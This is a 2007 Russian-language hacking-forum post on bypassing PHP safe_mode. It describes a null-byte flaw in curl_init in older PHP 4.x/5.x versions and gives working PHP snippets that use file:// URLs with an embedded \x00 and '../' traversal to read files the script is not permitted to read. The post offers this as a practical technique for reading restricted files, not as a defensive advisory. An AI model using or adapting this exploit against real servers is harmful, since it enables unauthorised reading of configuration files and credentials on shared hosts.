Тема: safe_mode
Показать сообщение отдельно

  #3  
Старый 15.09.2007, 20:09
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591

Репутация: 123
По умолчанию

тока зачем фишка с ini_restore - повторяется 2 раза?

Она кстати довольно бесполезная, потому что прав на неё почти никогда нет
А все фишки с инклудом убиваются open_basedir
но то что ты собрал, неплохо - есть ещё одна тема - curl
она по-моему где-то на форуме есть, но чтоб всё было в одном месте
Код:
Особенности curl_init()
Работает в:
PHP 4.4.2 и более ранние версии.
PHP 5.0.5 и более ранние версии.
PHP 5.1.4 и более ранние версии.


Эта функция позволяет работать с cURL, библиотекой позволяющей получать доступ к файлам через разные 
протоколы, такие как http,ftp,https и т.д. Полезная 
вещь, однако нас она интересует по совсем другим 
причинам, дело в том, что в данной функции 
некорректно обрабатывается нулевой байт, что позволяет обойти safe mode и открывать файлы, которые нам читать запрещено.
Суть баги:
$fd=curl_init("file://restrictedfile.conf\x00"."permittedfile");
$result=curl_exec($fd); 
curl_close($fd);
var_dump($result);
Проверяет всё после нулевого байта, тогда как curl читает файл до нулевого байта. Единственное - файлы можно читать только из директории скрипта, мы не можем использовать "/". Так же можно читать файлы на которые у вас нет прав из другой директории на которую у вас есть права:
curl_init("file:///home/dir/dir/permitteddir/restrictedfile.conf\x00
/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
Собственно таким нехитрым способом можно почитать файлы, прав на которые у нас нет.

Последний раз редактировалось Termin@L; 23.09.2007 в 13:06..